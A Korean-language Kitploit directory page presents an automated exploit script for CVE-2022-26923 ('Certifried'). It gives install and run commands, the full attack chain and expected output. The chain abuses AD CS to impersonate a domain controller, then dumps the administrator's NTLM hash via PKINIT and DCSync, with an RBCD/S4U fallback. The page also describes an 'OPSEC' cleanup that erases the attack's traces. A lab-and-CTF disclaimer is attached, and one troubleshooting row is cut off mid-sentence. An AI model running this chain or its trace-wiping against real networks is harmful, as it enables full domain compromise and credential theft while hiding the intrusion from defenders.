Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-26923 — Automated CVE-2022-26923 Exploitation (Certifried) | Kitploit
도구/GitHubGitHub/nefhara/cve-2022-26923
Privilege EscalationVulnerability AnalysisExploitationPost-ExploitationCTFPenetration TestingAuthenticationLearning & EducationLabs & Practice
GitHubnefhara/cve-2022-26923

CVE-2022-26923

Automated CVE-2022-26923 Exploitation (Certifried)

2개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2022-26923 – Certifried Exploit (AD CS Abuse)

**CVE-2022-26923 (Certifried)**의 자동화된 익스플로잇으로, Active Directory 인증서 서비스(AD CS)를 악용하여 권한 상승을 가능하게 하며, 리소스 기반 제한 위임(RBCD)으로 자동 폴백하여 궁극적으로 도메인 관리자 계정의 NTLM 해시를 덤프합니다.

⚠️ 교육 목적으로만 사용 / 랩 / CTF

승인되지 않은 환경에서는 사용하지 마십시오.


🎯 설명

이 스크립트는 다음과 같은 공격 체인을 자동화합니다:

방법 1 — 클래식 (CVE 직접 익스플로잇)

  1. 제어된 머신 계정 생성 (충돌 방지를 위해 임의 이름 사용)
  2. dNSHostName 특성을 도메인 컨트롤러와 일치하도록 스푸핑
  3. AD CS를 통해 머신 인증서 요청
  4. 인증서를 사용하여 인증 → PKINIT를 통해 DC의 NTLM 해시 추출
  5. DC 해시로 secretsdump.py를 사용하여 DCSync 공격 수행

방법 2 — 폴백 (RBCD) (방법 1이 실패할 경우 자동 실행)

  1. bloodyAD에서 사용하기 위해 PFX를 PEM으로 변환
  2. DC에 리소스 기반 제한 위임(RBCD) 구성
  3. 손상된 머신 계정에 impacket-addspn으로 SPN 추가
  4. getST.py로 S4U2Self + S4U2Proxy 티켓 요청
  5. Kerberos 티켓을 사용하여 secretsdump.py로 NTLM 해시 덤프

🔗 취약점

  • CVE-2022-26923 – "Certifried" — CVSS 8.8 (높음)
  • AD CS가 실행 중인 Active Directory 환경에 영향
  • 낮은 권한의 사용자가 dNSHostName 특성을 조작하여 도메인 컨트롤러를 가장할 수 있게 하며, CA가 DC 계정에 대한 인증서를 발급하도록 유도

🛠 사용 도구


📦 의존성 설치

root@kitploit:~
pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl

🚀 사용법

root@kitploit:~
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]

사용 가능한 옵션

root@kitploit:~
-d, --dc-ip     IP address of the Domain Controller
-D, --domain    Domain name (e.g. corp.local)
-u, --user      Valid domain user (UPN format: user@domain)
-p, --pass      User password
--verbose       Debug mode: display all executed commands
-h, --help      Show this help message

🧠 예시 (HTB Certifried)

root@kitploit:~
./CVE-2022-26923.sh \
  -d 10.129.227.189 \
  -D certifried.htb \
  -u [email protected] \
  -p 'Ch4ng3m3!' \
  --verbose

팁: 실행 전에 다음 명령으로 정확한 CA 이름과 템플릿을 확인하세요:

root@kitploit:~
certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdout

그런 다음 스크립트 기본값의 CA_NAME과 TEMPLATE를 해당 값으로 업데이트하세요.


🔥 예상 출력

환경에 따라 다음 두 경로 중 하나가 성공합니다:

방법 1 (클래식):

root@kitploit:~
[5] Classic authentication attempt (Recovering DC hash)...    [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...

[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::

방법 2 (RBCD 폴백):

root@kitploit:~
[5] Classic authentication attempt (Recovering DC hash)...    [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...

[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::

OPSEC 정리는 자동으로 실행됩니다 (종료 시 또는 Ctrl+C 시):

root@kitploit:~
[*] Starting trace cleanup (OPSEC)...
    [OK] Cleanup complete.

🏗 내부 공격 흐름

root@kitploit:~
Random Machine Account Creation (e.g. PWN8472$)
              ↓
    dNSHostName Spoofing → dc.domain.local
              ↓
  Dynamic LDAP Sync Verification (polling)
              ↓
  Certificate Request via RPC (Machine Template)
    [NETBIOS timeout auto-retry up to 5x]
              ↓
┌─────────────────────────────────────────┐
│         METHOD 1 — CLASSIC              │
│   certipy-ad auth -pfx dc.pfx           │
│   → DC NTLM hash via PKINIT             │
│   → DCSync via secretsdump              │
└────────────────┬────────────────────────┘
                 │ [FAILS]
                 ▼
┌─────────────────────────────────────────┐
│         METHOD 2 — RBCD FALLBACK        │
│   PFX → PEM conversion (openssl)        │
│   bloodyAD: add rbcd dc$ COMP$          │
│   impacket-addspn: SPN on COMP$         │
│   getST: S4U2Self + S4U2Proxy (cifs/)   │
│   secretsdump via KRB5 ticket           │
└─────────────────────────────────────────┘
              ↓
 OPSEC Cleanup (trap EXIT/INT/TERM)
   - Remove RBCD attribute on DC
   - Delete machine account (COMP$)
   - Wipe local PFX / PEM / ccache files

🔧 알려진 문제 및 문제 해결


⚠️ 면책 조항

이 프로젝트는 다음 용도로 제공됩니다:

  • 교육 및 연구 목적
  • 개인 랩 환경
  • CTF / HackTheBox / 캡처더플래그 챌린지
  • 승인된 침투 테스트 작업 (서면 승인 필요)

저자는 이 도구의 무단 또는 불법 사용에 대해 어떠한 책임도 지지 않습니다.

도구 다운로드
도구용도
certipy-ad계정 생성/수정, 인증서 요청, PKINIT 인증
bloodyADRBCD 속성 조작 (폴백)
impacket-addspn머신 계정에 SPN 추가 (폴백)
impacket-getSTS4U2Self + S4U2Proxy 티켓 요청 (폴백)
impacket-secretsdumpDCSync / NTLM 해시 덤프
opensslPFX → PEM 변환 (폴백)
증상원인해결 방법
NETBIOS connection timed outHTB의 AD CS RPC 지연자동 처리 (5회 재시도)
getST에서 KDC_ERR_BADOPTIONCOMP$에 SPN 누락스크립트가 getST 전에 impacket-addspn 사용
secretsdump에서 KDC_ERR_WRONG_REALM잘못된 SPN (LDAP 대신 cifs)스크립트가 getST에 cifs/ SPN 사용
Clock skew too greatKerberos 시간 차이실행 전 sudo ntpdate <DC_IP> 실행
머신 계정 삭제 실패AD 권한 부족 (정상)스크립트가 `
certipy-ad에서 unrecognized arguments잘못된 구문 (기존 certipy 형식)스크립트는 명시적 플래그 -u/-p/-target-ip 사용